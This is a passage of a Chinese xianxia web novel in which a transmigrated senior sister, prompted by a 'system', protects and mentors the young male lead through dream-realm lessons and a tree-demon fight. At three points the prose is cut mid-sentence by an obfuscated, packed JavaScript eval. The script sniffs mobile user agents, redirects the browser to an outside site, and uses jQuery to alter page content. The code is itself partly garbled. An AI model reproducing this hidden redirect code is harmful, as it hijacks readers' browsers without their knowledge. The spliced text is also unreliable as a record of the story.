江清月坐在他对面,打了个呵欠:“你晚上不睡觉,看书干什么?”
果然,白日里就不该去上树掏鸟蛋下河去抓鱼,她现在困得要死。
“这几本书白日里借了没看完,便想趁着晚上……”说到一半,他抬头看到江清月,才反应过来,“啊,大师姐?我又将你拉进来了吗?抱歉……”
江清月有气无力地摆摆手:“不用抱歉,你刚接触梦境之地,有无法控制的情况也正常,我白日里多睡会就行。”
说着,她微微闭上了眼睛,感觉身边的空气沉默了片刻,随后身下一软——竟是直接回到了她的床上。
她本就困得七荤八素,察觉到了熟悉的柔软后,身体比头脑快,来不及思考便直接倒头睡去。
而神奇的是,接下来几天她竟是皆一觉睡到了大天亮,再没有了被中途打断的情况,十分的舒爽。
难不成是小师弟天赋异禀,不过短短几天便成功掌控了梦境之地?
江清月练完今日的三千下挥剑,准备去恭喜一番,一推门,却见一个青色的身影趴在桌上,他的头枕在左臂上,另一只手中还握着根毛笔,笔尖滴下来的墨汁将雪白的宣纸染成一大团墨渍。
这个小师弟,竟是白日里偷偷睡觉?
江清月放轻脚步,准备去吓他一下,可待她离近了一瞧,准备出口的话却卡在了喉咙里——
纪行云的两只眼睛下,也有一团青黑“墨渍”。
15. 入梦口令
看到这一幕,江清月哪里还有什么不明白——她这几日睡得好,是因为纪行云根本就没有入睡。
她俯身将趴在桌上的人抱到床上,又给他掖了掖被角,看着纪行云眼下的乌青叹了口气。
这个小傻子。
江清月心里有些气他不爱惜身体,却又有些柔软。
……
待纪行云醒来,还未反应过来自己怎么忽然躺在了床上,便见桌边坐着一个身着白衣的女子,正执着书卷细看。
午后阳光穿透窗纱,柔和地落在她肩头,为她镀上了一层金光,恍若仙人。
“你醒了?”江清月听见动静抬头,便见纪行云一脸呆愣的模样坐在床上,像是睡懵了。她佯装生气道,“小师弟,你实话实说,最近是不是一直没睡觉?”
纪行云还想抗争一下,但被江清月开口打断,她拍了拍桌上的本命剑,眯起眼睛:“不要试图对我撒谎,下场会很惨。”
纪行云默了默,有些羞愧道:“我控制不好梦境之地……”
“怕又把我拉进去吗?”江清月看他点头,恨铁不成钢地捏捏他的脸,“你这个小朋友主意很大啊,为什么不找我一起商量对策找解决方法,反而要靠不睡觉来应对呢?”
“我……”
“你什么你,我可是你大师姐,还能有我解决不了的问题吗?再说了,我们宗门藏书阁的规模可是全修真界都数一数二的,里面肯定藏着些古籍秘卷,还怕找不到有用的吗?还困不困?睡醒了没?快过来一起帮忙找解决方法。”
纪行云听着她絮絮叨叨地说,乖乖起身坐到了她身侧,翻开一本古籍。看了没两页,他忽然低低试探道:“大师姐?”
“嗯?”江清月没抬头,随意应道。
“大师姐。”
“嗯。”
“大师姐!”
纪行云像是叫上了瘾,一声接一声,像是要把这几年来没叫的份全补上。
“干什么,叫魂呢?”江清月没好气地白他一眼,口中却说得很柔和,“以后别逞能了知道吗,你还是个小孩,背后有我,有昆仑山派给你撑腰呢。”
“嗯,”纪行云抬起眼睛看她,嘴角抿出一个笑,“我知道了,大师姐。”
二人没日没夜地找了几天,总算是在一卷孤本中找到了“梦境之地”的相关资料。
这些天,除了日常的挥剑练习,他们便都窝在一处看书,将藏书阁内所有关于解梦的古籍全部翻看了一遍。由于经常白日里还关着门,惹得魏音尘疑心他们是不是在房内偷藏了什么好吃的。
就连夜深人静时,二人也在梦境内奋发图强。
如今梦境之地已经完全不复一开始的纯白空旷,变得更具生活、或者说是书卷气息——两张书案上或随意或规整地放着纸笔,其上记录着古籍秘卷上有关的晦涩内容,一叠叠比人还高的书卷搭在桌旁,一眼望过去连人影都看不到。
好在功夫不负有心人,终于让他们给找到了!
江清月看着书上那寥寥几行字,感叹道:“不愧是男主独有的金手指,太独特了,就算上天入地也只能找到这么点有关的,这些天我翻书的强度比高考复习还大!不过你们主神也太不厚道了吧,竟然一点新手指引都没有……呃,等等,不会那个cos西方死神的黑衣人,就是他的引路人吧?他消失了会不会对剧情产生很大的影响?”
历经多天,她总算是想起了那个只在梦境之地中存在过几刻钟的黑衣人。
系统倒是心大:【应该不会吧?在原世界线中他也只不过是担当了引路人、打怪升级导师、后期男主夺得魔域的帮手等等一系列小角色而已嘛!你瞧,没有黑衣人我们不是也帮男主成功开启梦境之地的金手指了嘛!这就证明他不重要!】
江清月:“……”
帮助男主夺得魔域、登上魔尊之位……这还不重要?!
我怎么那么不相信你呢?
况且男主成功掌握梦境之地,难道不是因为我补上了黑衣人导师的角色吗?这些天我的黑眼圈也快熬出来了!
系统简单的头脑理解不了这么高深的问题,但本着与宿主和谐相处的职业操守,他赞叹道:【啊,原来如此!系统明白了!】
江清月扶额——算了,她就不该对这个人工智障抱什么期望。
她收拢思绪,张口咬下一颗山楂,微酸的滋味同糖衣的甜味融合在一起,在齿间迸发出一股美妙至极的口感。
这串冰糖葫芦同此地的书一样,都是纪行云想象的产物,但无论是口感还是味道,都与真实的冰糖葫芦一般无二,让人满足无比。
而最重要的是——就算在梦境之地中吃再多甜食,她也不会觉得牙疼,因为这只是梦,不是现实。
真是个好地方。
她又咬下一颗山楂,嚼了嚼咽下去才道:“……既然你现在已经能掌控梦境之地,那以后我便不会被拉进来了?”
说完,她心里竟还有一丝遗憾——昆仑山派饭食清淡无味,宗门竟还不许弟子下山买点能入口的,更不用提那因水土不服迟迟不结果的桃树……她每天吃得嘴里都要淡出鸟了!
这些天她帮着纪行云找解决办法,也顺便开发了一下梦境之地的其他用法,现下竟还真的有些舍不得这里随手可得的美食。
“嗯,是的。”纪行云将手中书整齐摆放在旁边,甚至连边角都整齐对齐,闻言手下力道一乱,差点将那摞书推倒,好在最后稳住未让悲剧发生。他顿了一顿,“但这里会一直对大师姐开放的,如果师姐还想进的话,可以用入梦口令。”
入梦口令?
她想起来了——这是一本古籍中所记载的古法,与梦境之主拥有共同口令之人,可视梦境与现实之间的屏障于无物,在梦境之地中随意出入。
这的确是个好方法,要不然她去哪找另外的人给她开小灶解馋?
于是二人一拍即合,并决定趁今日便一举将口令确定下来。
江清月深谙身为客人的礼仪之道,礼貌问他的意见:“你有什么想法?”
纪行云同样也很有礼貌:“都听大师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447483|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐的。”
“都听我的?”江清月摸了摸眉尾,促狭笑道,“那——芝麻开门?不不不,让我再想想……小兔子乖乖,把门开开?你觉得这个如何?”
纪行云垂下眼睫,耳际悄悄爬上一丝粉红:“……都,都听师姐的。”
哎呀,这副小模样实在太可爱了,和小兔子一个样,这个口令起得真是太相称了!
定下了口令,二人便常常在梦境之地悄悄约会,有时是是一起钻研剑法,有时则一起吃仙果零食。
——这种背着其他人偷吃美食的行为真是惊险又刺激!
有了这份小秘密,在梦外她也不自觉对纪行云多了些关注。他本就天赋异禀,只是入门时间最晚才显得稍稍落后与万仞峰众人,眼下有江清月督促帮助,他的修为也是稳扎稳打向上,很快就要结出金丹。
几日下来,万仞峰上的其他弟子也知道大师姐近日格外关注新入门的小师弟。
“大师姐,你最近只关心小师弟,都不喜欢我了……”魏音尘皱起小脸,抱着江清月的手臂撒娇,背后那柄比她人还高的重剑就跟着她的动作来回晃动。
江清月揉了揉魏音尘的头,笑道:“师姐怎么不关心你啦?”
“哼,师姐还说呢!每日温习功课、挥剑练习、比试切磋……你都只看纪师弟一人了!还手把手教他练剑,哼,我都没被这样教过!师姐偏心!”
江清月听着她气咻咻的语气,心里竟恍惚有一种自己是“只闻新人笑不闻旧人哭的渣女”的既视感。
这念头太惊悚,她忙将其甩出脑海,轻轻抱住魏音尘,温柔哄道:“怎么会呢,师姐最喜欢小音尘啦!”
“真的嘛!”
“大师姐。”
魏音尘甜甜的声音同纪行云平静的声音混在一起,江清月竟是莫名脊背一僵——怎么有一种“背着家里的小猫咪去猫咖吸猫,结果被自家猫现场抓包”的既视感?!
话说纪行云什么时候来的,他不是应该在弟子舍修习功法吗?
转眼看去,纪行云拎着一柄木剑,正站在二人后方。他眉目低垂,明明什么话都没说,却好像在控诉。
不对,她心慌个什么劲?
江清月心中自觉有些不对劲,正想撑起大师姐的架子让两个小屁孩握手言和,以后不许再因为这种小事争风吃醋,便听门边传来一声九曲十八弯的口哨声——“哟,大家都在呢?这么热闹?”
抬眼看去,门边正倚着个身穿花衫的男子,他摇着一柄折扇,笑得风流倜傥:“你们这是玩什么呢?怎么不带我一起?人家要伤心了~”
“哎呀,大师姐!”谢长渊眼睛一转瞥向江清月,故作惊讶道,“你也在呢?”
江清月眼前一黑——真是一方有难八方添乱,怎么偏偏这个时候谢长渊回来了?
她瞧见谢长渊那个眼波流转的样,就知道他没憋好屁,抢先开口道:“最近一百年我都忙着提升修为冲击元婴,不考虑找道侣,也不找男宠,露水情缘更是不可能,八戒你就死了这条心吧!”
16. 不破不立
谢长渊眨了眨眼,做出一副惋惜的模样:“好吧。”
江清月如临大敌地盯着他,丝毫不敢放松警惕——这人上次也是这么答应的,结果转头就脱了衣服躺在她床上等着献身,差点被她当做刺客一剑劈了。
好在另外两名师弟师妹年纪小睡得早,若是让他们俩看见了,她这大师姐的名声还要不要了?
所以,他嘴里说出来的话在江清月这里信誉度为零。
见此,谢长渊摊摊手:“别这么看我,我这次回来是真的有要事同你们商议。”
他靠在门上,三言两语将事情讲明——原来,是又到了修真界新秀弟子固定的除妖历练时间。
为锻炼弟子降妖除魔的实战能力,每隔一段时间几大宗就会组织修仙界弟子一同前往妖魔盘踞的地盘,帮助当地的居民清除危害生活安全的妖魔。但应邀前去的一般是五大宗,很少有小宗门愿意参与。
所以,江清月一直戏称这是五大宗弟子的集体团建活动。
吐槽归吐槽,该去还是要去,因为这是纪行云成长路的所遇到的第一个大机遇。
系统道:【正所谓不破不立,不入虎穴焉得虎子……若是想要男主后面进化为叱咤风云的魔域魔尊,他必须要经历一场惊心动魄的劫难。而在劫难前,首先要让纪行云先赢得修仙界的景仰,这样在他由仙堕魔时感受到的落差才会越大,才会化悲愤为力量,我们的任务才会更有可能完成。】
江清月听完都沉默了:“……你们主神是真变态啊。”
系统:【嘿嘿。】
你笑个鬼啊,不会以为我在夸你吧?
江清月抽抽嘴角,回头给了纪行云一个怜悯的眼神——可怜的男主,他还不知道后面的人生会有多坎坷。
纪行云不明所以,见大师姐对他回眸一笑,嘴角不禁也跟着翘起一个小小的弧度,亦步亦趋地跟在师姐身后,眼神里闪烁着仰慕的光。
那模样活像是株晒足了阳光喝饱了甘露的向阳花,将自己的一腔热情全都毫无保留地释放出来,看的人心里一软。
待男主堕魔后,可就没有这样纯真的眼神了,还是趁着他小的时候多摸摸吧,只是她刚伸出手,便听前面传来一阵争吵——
“装模作样,要滚就快滚,没人求你们留下来!”
谢长渊盯着那处轻轻吹了声口哨,吊儿郎当道:“又吵起来了。”
闻言,江清月向那边看去。入目是两队泾渭分明的门派,一侧身穿紫色校服面色高傲的是仙游宫,而另一侧身穿红色校服面上皆是怒气的则是天罡宗,也是本次除妖活动的组织者。
听着身侧其他人议论的只言片语,她也大概了解了两个门派争吵的缘由。
修仙界有五大宗,每次降妖除魔的主要负责门派不同,定下的地点也不同,而负责本次活动的则是五大宗之首天罡宗。
天罡宗管辖地域广阔,宗主正值壮年法力高强,门下弟子众多,是当之无愧的修仙界第一宗。
天罡宗自诩强盛,是以每次选择降妖捉怪地点时,从不与其他门派商议,常常是自行决断后通知其他宗门,所以众人常常是赶到约定地点才得知要捉拿的是什么妖魔。
此次除魔对象喜静喜暗,日常蜗居在一片密林中休眠,除却胃口大开要吃人基本不出这块地盘。
为尽快将其制服,众人计划趁着妖魔沉睡之时将其斩杀。
可刚深入密林不久,仙游宫的几名弟子便忍不住挑起刺来:“敢问诸位,为何要选这样一个脏乱无比的地方?难不成你们格外喜欢这种一脚踩下去不是烂泥巴就是烂苔藓的恶心触感?或者是偏爱到处凸起挡路的烂树根?呵呵,这种品味,我们可真是不敢苟同。”
由于实力强劲,天罡宗早就养成了个唯我独尊的火爆性子,此刻听到别人质疑,立刻回呛:“难道每个妖魔都会将自己洗得白白净净的,等着你来杀不成?”
“各位出门在外是为了降妖除魔,你们宗门不想着如何提升修为抵抗妖魔,净在意这些有的没的!若想不沾一丝脏污,何必跟着一起来?不如回去缩在仙游宫一辈子,那倒是干净自在!”
一名紫衣弟子皮笑肉不笑:“你这话就没意思了,我何时说过这样的话?怕不是你自己内心有鬼,想将这项名头扣到我头上吧?”
修仙界本就以武力高为尊,向来信奉谁拳头大谁说了算,天罡宗众人见说不过他们索性闭了嘴,伸手一挥祭出法器灵剑:“休要胡说!”
在场的都是各门派的新锐弟子,灵力都差不了多少,见天罡宗掏出了灵剑,仙游宫几名弟子也纷纷祭出武器,低喝道:“你们想干什么?要打我们吗?还没遇到妖魔就内讧?”
闻言,一名红色校服弟子皱眉道:“我们何时说过,明明是你……”
“别打别打!”忽的,一道黄色身影风一般冲入两拨人之间,连声道,“有话好好说,别打架!”
众人皆被这突然出现的人吓了一跳,那人见场面不似方才剑拔弩张,从怀中掏出两个闪着灵光的法器,向两边递去,笑道:“何必为了这一点小事生气呢?都是一同除魔的伙伴嘛!这样吧,看在我的面子上……”
“呵,你的面子?”满场寂静中,一名天罡宗弟子率先反应过来,嗤笑道,“你又是哪个不入流宗门出来的小杂碎?你的面子哈哈哈哈……笑死人了,我们很熟吗?你以为你自己是谁啊?”
“我,我是……”
那名黄衫弟子面色涨的通红,正想开口自报家门,便被另一名仙游宫弟子打断,他甚至懒得与那名黄衫弟子说话,伸手一甩便将他手中那两枚闪着银光的法器击飞出去。
随后,紫衣弟子面露不屑,上下打量他一眼,冷嗤一声向前走去。
见此,江清月微微一拧眉。
原本天罡宗与仙游宫争论,她只想当做没看见,毕竟这两个宗门互相看不上对方也不是一天两天,每次相逢必要吵上一顿才能心平气静地聊天。江清月早就习惯了他们这种怪异的相处模式,甚至还想看看这次他们互呛的内容有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447484|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有什么新意。
可从那名黄衫弟子上场,事情便开始朝着不对劲的方向走去。
昆仑山派的四名弟子走在队伍的中间,距离风暴中心既不过分远,又不过分近,正好将一切都收进眼底。
谢长渊挑眉:“这人是第一次来吗,不知道这是固定节目?上去凑什么热闹?哎,你干什么去?”
江清月拧眉看着那边:“他们欺负人,都上手了,我总不能坐视不理吧?”
谢长渊道:“你还是这么热心肠,不过我就欣赏你这一点。走,一起去。”
江清月白了他一眼,抬脚便向着那黄衫弟子的方向走去。
只是她刚有动作,便听密林深处传来一声不似真人的咆哮,随后脚下土地开裂,方才显露在外面的树根纷纷扭曲活动,像是有生命一般——发生了什么事?
随后,在众人或惊异或呆滞的目光下,那些树根托着一株高大的古木拔地而起!
他们一直在找的妖魔,竟是就一直沉睡在脚下这片土地中!
事发突然,众人皆都傻傻呆立在原地,看着那妖魔舒展筋骨,抖落大片粘连在树干上的泥土,树冠也跟着抖动展开,露出其后隐藏的一张扭曲的脸。
不知是谁的一声“快跑”,众人才回过神来,纷纷奔跑躲避。
系统看清密林中的景象,不由惊叫:【怎么会这样?剧情乱套了!】
江清月正忙着带弟子们向后退,她分出一丝心神给系统:“怎么了?难不成密林中还有其他妖魔??”
系统急道:【不,是这魔物苏醒的时间不对。原剧情线中,妖魔并未因法器干扰醒来,反而在沉睡时被你们攻击,并在仅剩一成功力时被男主补刀成功斩杀!男主也因此初次进入大众视野……这里本来应该时男主的第一个高光时刻啊啊啊!现在全部乱套了!魔物怎么这么早就醒了?剧情还怎么开展啊?】
江清月顺手拉起一个跌倒的人,道:“现在哪里还管得了这些,赶紧救人才是正事!”
她按下系统的哀嚎,回身扫了眼人数——昆仑山派的人都没少。此外还有几个不同宗门的弟子同他们躲在一处,皆是跑得呼吸急促。
如今他们躲在了一处山洞,此处地势偏低,那树妖应是一时半会找不到他们。
一名仙游宫弟子很是嫌弃地拍了拍粘泥的衣角,低声咒骂道:“都怪天罡宗,瞎找的什么地方?现在好了吧,都在这小破山洞里躲着!这就是不与我们一起商量的下场!”
巧的是,与他们一同躲进来的恰好有一名天罡宗弟子,闻言怒道:“你什么意思?!若不是你们乱丢法器,这妖魔怎么会醒来?”
说着,那天罡宗弟子狠狠一跺脚,却是下盘一歪险些摔倒,更是气不打一处来:“好啊,真是虎落平阳被犬欺,现在就连一株小小的藤蔓也敢欺负我了?看我不一把将你烧干净——啊!!!”
他狠话放到一半,便整个人摔倒在地,仿佛被什么拖拽一般飞速滑出了洞口,只留下一串凌乱的抓痕。
17. 负荆请罪
“这什么——啊!”
一道闪亮灵流划过,那条紧紧束缚着他脚腕的藤蔓松开了钳制,失去生机化成了一截枯枝,被拖出洞口的天罡宗弟子失去牵引,猛地摔在了地上,“哎哟哎哟”地唤个不停。
“起来。”一道清冷的女声自他上方传来。
闻言,那天罡宗弟子抬头向声源处看去,因背着光,他只能看见一个年轻女修隐约的轮廓,青衣朦胧,同色的发带与发丝一齐飘荡,怎一个仙气飘飘得了。
他不由得呆在了原地,直到又被催促一番后才从怔愣状态中缓过神来,忙以剑撑地起身。
由于方才藤蔓袭击,他脚下无力踉跄了一下,险些再次摔倒在地,好在被那青衣女修扶了一把。
他心内窘迫,正想道谢,却见那名女修的视线根本没放在他身上,而是向上看去。
上方,那树妖不复方才的得意,反而像是笼中困兽一般翻腾挣扎,发出阵阵嘶吼声。那被江清月斩断的藤蔓是树妖分身出来的手脚,每一条都连接着它的本体,此刻密林中掉落了一大片残枝断叶,也无怪乎它会如此痛苦。
可待仔细看去,却又不止于此——树妖粗壮的树干上缠绕着数道颜色各异的灵流,灵气与魔气互相碰撞,树妖也在不断翻腾,试图挣脱灵流的压制。
“大师姐!”
江清月转头看去,是纪行云。他从洞中跑出,眼中全是担忧:“大师姐,我……”
“你来的正好,”江清月正愁不知该如何安置这名天罡宗弟子,见他出现眼睛一亮,将其往他怀里一推,“把这人带回去,别出来,也别踩藤蔓。我有事要忙。”
纪行云扶住那人,见她转身就走,忙向前几步:“我也去帮忙!”
“别闹,这不是小事,”江清月强按下脑中系统吱吱哇哇喊剧情崩坏的叫声,颇感头疼,“你灵力不足,强行对上妖魔只会损伤自身。谢长渊布阵,其他人躲好。”
吩咐完,她催动灵力,脚尖一点便跃到一株高大的树上。
离她不远处,是几名凝神迎敌的修士,各人都纷纷祭出灵剑,以强力灵流将树妖禁锢在原地。可毕竟人数较少,那树妖在几人的合力攻击下,竟还有力气挣扎活动,眼瞧着就要挣脱束缚。
见此,江清月不再犹豫,翻手凝出一股青色灵流甩在那树妖身上,紧接着狠狠一拉——原本柔柔落在树妖身上的灵流立刻缠紧,直将方才还企图挣脱的树妖绑成了一个歪七扭八龇牙咧嘴的绿色大虫子。
有了她的加入,其余几名修士顿感轻松不少。在几人合力压制下,那树妖再也不复方才的耀武扬威,一股脑摔在了地上,激起满地泥泞。
其中一名仙游宫弟子瞧树妖在泥泞中扭动不止,嫌恶道:“噫,真是恶心。瞧你们选的这个破地方,挑的这个鬼东西!”
天罡宗弟子也不惯着他们,一面束紧灵流,一面回头呛道:“不愿意干就滚!”
“……”
好嘛,这才刚一起制服敌人,便又吵起来了。
但江清月无心去听,因为她脑中有个更吵闹的。系统鬼哭狼嚎道:【宿主完蛋啦!剧情全乱套了!你不让男主出来帮忙降妖除魔,关于男主英雄救美拯救所有人的高光剧情该如何开展?啊啊啊怎么办!】
江清月好想捂住耳朵,但无奈这声音是从她脑内传来,为了安静她只好同系统讲讲道理:“纪行云现在还是个刚筑基没多久的小孩呢,他连自己都保护不了,怎么拯救所有人?你们主神有点太急于求成了,慢慢来嘛。”
系统捂着耳朵继续哇哇大哭:【我出厂后的第一个任务啊!就这么失败了!我的年终总结可怎么办啊呜呜呜……】
江清月安慰道:“……你先别哭,这只是一个小小的失误而已,说不定以后有更大的失误呢?”
系统哭的更大声了。
就在她给系统喂心灵鸡汤时,忽觉手中力道空了一瞬,旁边对骂声音也跟着一顿,随后响起此起彼伏的惊呼——“它逃了!”
“它为了逃脱竟自断躯体!”
“那是什么方向??”
方才还被他们绑紧的树妖竟是不知何时挣脱了束缚,此刻正手脚并用向一个方向窜去,口中发出阵阵尖利刺耳的啸声。
由于树妖自断魔体,体型骤然缩小,方才缠在其上的数道灵流纷纷失去束缚对象,自动收回,让这妖魔钻了空子逃脱!
可瞧那树妖奔窜的方向,并不是无人之地,恰恰相反,竟是众人聚集之处!
是什么让它宁可伤敌八百,自损一万也要攻击?
忽略众人叫喊,江清月凝神看去,不由瞳孔一缩——
“轰!”
瞬间,密林中爆开一阵亮光,紧跟着惊天动地的巨响传来,属于金丹期修士的威压混着树妖全力一击的魔气在一瞬间炸裂开来,有些修为较低的弟子忍不住弯下身体暂避锋芒。
待光亮渐消,众人才看清那道忽然出现的青色身影。
在她面前,那只逃脱的树妖正倒在地上微微抽搐。
满地泥泞中,江清月立在原地,脊背挺直,手心的灵剑上还在散发着残余的灵光。
“大师姐……”
纪行云睁大眼睛,看着瞬移到自己眼前的女修,喃喃道。
听到这声低喃,江清月才察觉过来自己干了什么——她的身体动的比反应要快,在看清树妖攻击对象是纪行云的一瞬间,便直接瞬移到他面前,挡住了树妖鱼死网破的一击。
果然是修出了灵智,这树妖死前竟还懂得要拉个垫背的!
话说此地那么多人,为何独独要找纪行云?在场比他修为低的比比皆是,就算是想找个伴,也不一定就这么精准的选上他吧?
难不成这就是男主独特的光环?
江清月脑中思绪不断,眼皮却越来越沉,方才那一击耗尽了她的灵力,身体脱力,还未来得及回应纪行云,便眼前一黑直接晕了过去。
再次醒来,是因为系统在她脑海中呜呜咽咽哭天抹泪:【宿主你可真是说到做到啊!】
江清月还没清醒,迷迷糊糊听了这句话:“……你突然夸我做什么?”
系统愤愤道:【谁夸你了?你突然扑过去打那树妖做什么?纪行云身上有男主光环,就算是满血状态的树妖也杀不掉他,顶多是受点小伤。现在好了,树妖死在你手里,没了这个剧情点,男主可怎么名扬修仙界呢?这下剧情崩坏的更严重了呜呜呜!】
江清月听它控诉自己,道:“虽然知道这个道理,但无论男主的设定如何狂霸酷炫,他现在也只是个小孩子,让他一个人去面对树妖,我做不到。再说了,若是男主出了什么好歹,你也没法向主神交代是不是?”
系统不想理她,默默抱着剧情线哭去了。
江清月躺在塌上默默发了会呆,正想起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447485|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身便见视野中忽的出现了一颗头,上面扎着两颗圆圆的发髻,其上绑着嫩黄色的发带,正瞪着一双圆溜溜的眼睛看她,惊喜道:“大师姐,你终于醒啦!你都睡了好多天了!”
是魏音尘。
江清月撑起身体:“三师妹,你怎么在这?我睡了几天?”
魏音尘:“我在这里守着你呀!从密林回来后,你足足昏睡了五日呢!可吓死人家了!小师弟也很担心你,每日都来,不过我才不会夸他呢,都是因为他师姐才会受伤的!”
“还有还有,”她叽叽喳喳道:“我从没见过二师兄神色这么严肃,他明明也很担心你,还要骗我们说你是累的睡着了,让我们安心等你醒来就好……这怎么能安心嘛!二师兄真是的……话说师姐你睡了这些天是不是饿坏啦,你要不要吃东西?小厨房里煮着粥,我去给你拿!”
话落,她一溜烟跑出了门,
江清月揉了揉眉尾,扯过几个靠枕垫在身后,调整了个舒服的姿势。她闭上眼又细细地感受过一番,眼神瞥向窗口,扬声道:“别躲了,我看见你了!”
窗后仍是寂静一片,没动静。
江清月心里嘀咕,难不成是她弄错了?方才魏音尘碎碎念时她分明感觉到窗后有人的气息。
正欲再试探一番,便见一个低着头的小少年从窗后走出,他身着昆仑山派统一的青色弟子衫,面容清俊。若是忽略其背上的荆条外,可以赞叹一声翩翩美少年。
等会……荆条?这玩意儿哪来的???
江清月看得眼角抽搐:“你,你这……你先起来!你背着荆条干什么?”
她伸手向上虚扶一把,阻止了纪行云要跪下去的动作。
“负荆请罪。”纪行云没抬头,声音歉疚,“若不是为了救我,大师姐也不会受伤昏迷。是我太弱了,不仅没帮上忙,还连累了大师姐……”
江清月眼尖,瞅到了纪行云腮边滑落的那滴泪珠,头脑一片空白——妈呀,她看到了什么?!男主怎么哭鼻子啦??这是她能看的东西吗???
瞧瞧这副样子,哪里还有未来叱咤风云称霸三界的男主风范,分明像是个受了气后偷偷躲到一旁抹泪的小姑娘!
眼瞧着纪行云还要继续贬低自己,江清月忙抬手阻止他:“这不是你弱的问题,是……”
她心绪狂转,终于在满脑狂舞的念头中抓住了一丝可用的:“是因为,你于我而言是至关重要之人,我不愿看到你受伤。”
纪行云身形一顿。
江清月自觉找对了方向,沉吟片刻后继续道:“当日我出手救你,是我本心所为,若是你受伤了,我会自责。你的资质在新入门的弟子中已是上乘,不要妄自菲薄,假以时日必定能成为修仙界精英修士。”
还有一句话她未说出口——何止是精英修士,你以后可是要主宰三界的人!
届时功成名就,午夜梦回时想起还在她这个炮灰师姐面前流过泪,怕不是会将找出来她灭口?
所以,还是趁着男主小心思单纯,多刷刷好感值吧!
听着她的话,纪行云明显是被感动到了:“……如果我不是你的小师弟,你也会救我吗?”
——那当然啦!当时任何一个人被树妖针对,她都会去救,更何况是她的任务对象呢?
于是,这个问题江清月回答得十分有底气,她看着纪行云的眼睛,坚定道:“会。”
18. 修仙界第一名师
不知为何,听到这个再普通不过的字眼,纪行云竟是心如擂鼓。
他慌忙避开江清月的眼睛,嗫嚅半晌后蹦出来一句话:“大师姐,我一定会认真修炼,不会辜负你的期望!”
哎!这样才有少年男主奋发向上、永不放弃的模样嘛!
江清月深感欣慰——她果然是养孩子的一把好手!不过两句话便能激励一位迷失方向的少年重振旗鼓!
修仙界第一名师,舍她其谁?
不过现在,还有一件小事需要解决。江清月正色道:“谁让你来负荆请罪的?是你自己在书上看到的,还是……?”
纪行云如实告知:“是二师兄告诉我的。”
果然,这种事情也就谢长渊干的出来!
这在这时,门口传来一道吊儿郎当的声音:“——师妹啊,你端这么大一锅粥,大师姐肯定喝不完,分我点怎么样?”
“不行,上次师兄也说只吃一口,结果一口下去半根糖人都没了!我再也不会相信你了!”
“上次是意外……”
还没等他讨粥成功,便见面前屋门“吱嘎”一声打开,本该躺在床上休息的江清月倚靠在门边,皮笑肉不笑地看着他,手中还拎着一根分外熟悉的荆条。
谢长渊面上笑容一凝,目光从藤条转到旁边面容乖巧的纪行云身上,脚步一转扭身就跑,愤愤道:“小师弟你变了!怎么能告状呢?我这一番苦心都错付了!哎呦——我新制的衣服!”
那天,全昆仑山派上下都得知了谢长渊的另一个名字——“八戒”。
……
回想从前,再面对着如今境况,江清月竟是无法对纪行云生出一丝气恼。
是她先做错了,纪行云如此也无可厚非。
只是心底庆幸——还好自己的真实身份未曾暴露,否则还不知要面对何等的血雨腥风。
这时,在脑中沉寂许久的系统突然冒泡:【宿主宿主!我带着新任务来啦!而且你看这是什么?当当当——奖励!!】
还未等她从系统突然中反应过来,便感觉身体一轻,四肢百骸传来熟悉的充盈感和力量感,丝丝缕缕灵气涌入,丹田处也跟着微微发热,那在山神庙中碎裂的金丹又缓缓凝出了实体。
随着灵力持续不断涌入,她只觉灵台也骤然清明,修为眨眼间跃升了一个境界。
“……你怎么忽然修为突破了?!”
正在她感受这股去而复返的力量时,身侧一人的惊呼打断了她,睁眼看去,是一个有几分面熟的小弟子。
那小弟子“呸呸呸”吐掉嘴里的瓜子皮,大惊失色道:“不是吧?你听个八卦也能感悟?你变态啊?不是等会,怎么我听了这么多场境界还是一动不动???”
他这大嗓门一出,在场众人的目光登时齐刷刷落在江清月身上,其中含着深深的羡慕嫉妒恨,分外复杂。
绕是她自诩脸皮厚,也挡不住这样的目光,连忙寻了个由头告辞离去。
直到走出众人所视之处,江清月才对系统道:“你怎么一言不合就开始兑换奖励?那里还有那么多人呢!我差点就被当成怪胎切片研究了!”
系统:【啊对不起宿主!因为好几天没见到你了有点点激动(╥_╥)。】
卖萌可耻,但有效。江清月叹了一声:“……算了,下次注意就好。”
系统立刻满血复活,连机械音都莫名激昂起来:【宿主这次任务的完成度非常高,成功将本来歪曲的剧情线扯回了原本的轨道!真是太厉害啦!】
语毕,它在江清月的脑中放了几个小烟花:【所以——让我们一起去完成下一个任务吧!】
江清月:“……”
怎么有种中二少年拯救世界的既视感?
